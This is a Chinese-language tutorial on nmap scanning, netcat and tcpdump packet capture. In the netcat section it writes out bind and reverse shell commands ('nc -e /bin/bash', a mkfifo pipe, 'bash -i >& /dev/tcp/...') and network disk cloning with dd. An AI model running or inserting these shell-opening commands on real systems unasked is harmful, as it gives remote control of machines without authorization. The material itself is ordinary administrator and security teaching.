nmap 的使用
nmap — 網絡探測工具和安全/端口掃描器
Usage:nmap [ <掃描類型> …] [ <選項> ] { <掃描目標說明> }
掃描目標說明
-
-iL inputfilename (從列表中輸入)
從 inputfilename中讀取目標說明
[root@localhost ~]# nmap 192.168.27.128-132 [root@localhost ~]# nmap -iL nmap.txt [root@localhost ~]# echo '192.168.27.128-132' | nmap -iL -
-
-iR <hostnum> (隨機選擇目標)
hostnum 選項告訴 Nmap生成多少個公網IP,選項0代表無休止的掃描。
-
–exclude <host1[,host2][,host3],…> (排除主機/網絡)
[root@localhost ~]# nmap -iL nmap.txt --exclude 192.168.27.130,192.168.27.132
-
–excludefile <excludefile> (排除文件中的列表)
[root@localhost ~]# nmap -iL nmap.txt --excludefile exclude.txt
主機發現
-
-sL (列表掃描)
列表掃描是主機發現的退化形式,它僅僅列出指定網絡上的每臺主機, 不發送任何報文到目標主機
-
-sP (Ping掃描)
該選項告訴Nmap僅僅進行ping掃描 (主機發現),然后打印出對掃描做出響應的那些主機。
-
-P0 (無ping)
該選項完全跳過Nmap發現階段。通常Nmap在進行高強度的掃描時用它確定正在運行的機器。
-
-PS [portlist] (TCP SYN Ping)
-
-PA [portlist] (TCP ACK Ping)
-
-PU [portlist] (UDP Ping)
以指定一個以逗號分隔的端口列表(如 -PS22,23,25,80,113,1050,35000)
端口掃描基礎
Nmap所識別的6個端口狀態
-
open(開放的)
-
closed(關閉的)
-
filtered(被過濾的)
-
unfiltered(未被過濾的)
-
open|filtered(開放或者被過濾的)
-
closed|filtered(關閉或者被過濾的)
端口掃描
-
-sS (tcp syn scan) 默認的掃描方式
-
-sT (tcp connect scan) 默認的tcp掃描發式
-
-sU (udp scan)
-
-sO (ip protocol san) 確定目標機支持哪些ip協議
-
-O | -A 探測目標主機的操作系統
-
-sV 掃描端口服務的版本
-
-p 只掃描指定端口
netcat
netcat是網絡工具中的瑞士軍刀,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。
-
端口掃描
[root@node1 ~]# nc -z -v -n 10.211.55.24 1-100 nc: connect to 10.211.55.24 port 1 (tcp) failed: Connection refused nc: connect to 10.211.55.24 port 2 (tcp) failed: Connection refused nc: connect to 10.211.55.24 port 3 (tcp) failed: Connection refused nc: connect to 10.211.55.24 port 4 (tcp) failed: Connection refused nc: connect to 10.211.55.24 port 5 (tcp) failed: Connection refused ... 默認運行tcp掃描,-u參數調整udp -z 連接成功后立馬退出 -v 詳細內容輸出 -n 不進行反查
-
chat server
server nc -l -v -p 1567 client nc 10.211.55.24 1567
-
文件傳輸
server nc -l 1567 < file.txt client nc -n 10.211.55.24 1567 > file.txt server端作為文件源,無論哪個客戶端訪問都會發送文件,反之... server nc -l 1567 > file.txt client nc -n 10.211.55.24 1567 < file.txt server作為文件存放地,任何客戶端都可以發送文件到服務端
-
目錄傳送
文件傳送很簡單,如果我們需要傳送目錄,我們需要先打包壓縮,接受后再解壓。
server tar -czvf - dir_name | nc -l 1567 client nc -n 10.211.55.24 1567 | tar -xzvf -
-
克隆一個設備
server dd if=/dev/sda | nc -l 1567 client nc -n 10.211.55.24 1567 | dd of=/dev/sda
-
打開一個shell
假設netcat支持-c -e選項 server nc -l 1567 [-e | -c] /bin/bash client nc -n 10.211.55.24 1567 客戶端只要連接端口,就可以遠程操作shell
假設netcat不支持-c -e選項 server mkfifo /tmp/tmp_fifo cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo client nc -n 10.211.55.24 1567 會得到一個shell的提示符在客戶端
-
反向shell
server 端監聽一個端口 nc -l 1567client 發送一個shell nc 10.211.55.24 1567 -e /bin/bash 服務端獲得client的shell linux本身也可以發送shell bash -i >& /dev/tcp/10.211.55.24/1567 0>&1 服務端可以得到shell的提示符
-
指定源地址和源端口
假設防火墻過濾了大多數端口,我們可以指定源端口 server nc -l 1567 client nc -n 10.211.55.35 -p 25 假設有多個地址,指定地址與外部通信 服務端 nc -u -l 1567 < file.txt 客戶端 nc -u 10.211.55.24 -s 10.211.55.35 > file.txt
tcpdump
tcpdump抓包命令,tcpdump是一個用于截取網絡分組,并輸出分組內容的工具。tcpdump憑借強大的功能和靈活的截取策略,使其成為類UNIX系統下用于網絡分析和問題排查的首選工具。
概述
tcpdump可以將網絡中傳送的數據包的“頭”完全截獲下來提供分析。它支持針對網絡層、協議、主機、網絡或端口的過濾,并提供and、or、not等邏輯語句來幫助你去掉無用的信息。
#tcpdump -vv 不帶參數的tcpdump會收集網絡中所有的信息包頭,數量巨大,必須過濾。
[opotion]
-
-A: 以ascii格式打印出所有分組,并將鏈路層的頭最小化
-
-c: 在收集到指定數量的分組后,tcpdump就會停止
-
-D: 打印出系統中所有可以用tcpdump截取包的網絡接口
-
-e: 在輸出行打印出數據鏈路層的頭部信息
-
-i: 指定監聽的網絡接口
-
-b: 在數據鏈路層選擇協議,包括arp、rarp,ipx
-
-n: 不把網絡地址裝換成名字
-
-nn:不進行端口名稱的轉換
-
-t: 在輸出的每一行不打印時間戳
-
-P: 不把接口設置成混雜模式
-
-q:快速輸出,只輸出較少的協議信息
-
-r:從指定的文件中讀取包(一般通過-w選項產生)
-
-w:寫入到文件中,一般以.pcap結尾
-
-v:輸出稍微詳細的信息
-
-vv:輸出詳細的報文信息
tcpdump的表達式
-
第一種是關于類型的關鍵字:主要包括host,net,port。
-
第二種是確定chuan傳輸方向的關鍵字:主要包括src,dst,dst or src,dst and src。
-
第三種是協議的關鍵字:主要包括fddi,ip,arp,icmp,tcp,udp等
輸出結果介紹
-
數據鏈路層的信息
tcpdump -e host 10.211.55. 21:50:12.847509 eth0 < 8:0:20:79:5b:46 0:90:27:58:af:1a ip 60: h219.33357 > ICE. telne t 0:0(0) ack 22535 win 8760 (DF) 可以得到數據鏈路層mac地址的通信過程
-
icmp包的tcpdump輸出信息
[root@localhost ~]#tcpdump icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 08:16:17.876094 IP node1 > 10.211.55.24: ICMP echo request, id 10800, seq 1, length 64 08:16:17.876125 IP 10.211.55.24 > node1: ICMP echo reply, id 10800, seq 1, length 64
-
tcp包的輸出信息
src > dst: flags data-seqno ack window urgent options src > dst:表明從源地址到目的地址, flags是TCP報文中的標志信息,S 是SYN標志, F (FIN), P (PUSH) , R (RST) "." (沒有標記); data-seqno是報文中的數據 的順序號, ack是下次期望的順序號, window是接收緩存的窗口大小, urgent表明 報文中是否有緊急指針。 Options是選項。
-
udp包的輸出信息
oute.port1 > ICE.port2: udp lenth UDP十分簡單,上面的輸出行表明從主機route的port1端口發出的一個UDP報文 到主機ICE的port2端口,類型是UDP, 包的長度是lenth。
舉例
-
(1) 想要截獲所有210.27.48.1 的主機收到的和發出的所有的分組:
#tcpdump host 210.27.48.1
-
(2) 想要截獲主機源地址210.27.48.1 和主機210.27.48.2或210.27.48.3的通信,使用命令(注意:括號前的反斜杠是必須的):
#tcpdump src host 210.27.48.1 and dst \( 210.27.48.2 or 210.27.48.3 \)
-
(3) 如果想要獲取主機210.27.48.1除了和主機210.27.48.2之外所有主機通信的ip包
#tcpdump ip host 210.27.48.1 and ! 210.27.48.2
-
(4) 如果想要獲取主機192.168.228.246接收或發出的ssh包,并且不轉換主機名使用
#tcpdump -nn -n host 192.168.228.246 and port 22 and tcp
-
(5) 獲取主機192.168.228.246接收或發出的ssh包,并把mac地址也一同顯示
# tcpdump -e src host 192.168.228.246 and port 22 and tcp -n -nn
-
(6) 過濾源主機物理地址為XXX的報頭:
tcpdump ether src 00:50:04:BA:9B
tcpdump命令格式
tcpdump [-nn] [-i 接口] [-w 儲存檔名] [-c 次數] [-Ae] [-qX] [-r 文件] [所欲捕獲的數據內容]
-X,可以列出十六進制 (hex) 以及 ASCII 的數據包內容,對于監聽數據包內容很有用。
原創文章,作者:N25_隨心,如若轉載,請注明出處:http://www.www58058.com/67897
很棒的歸納總結,加油。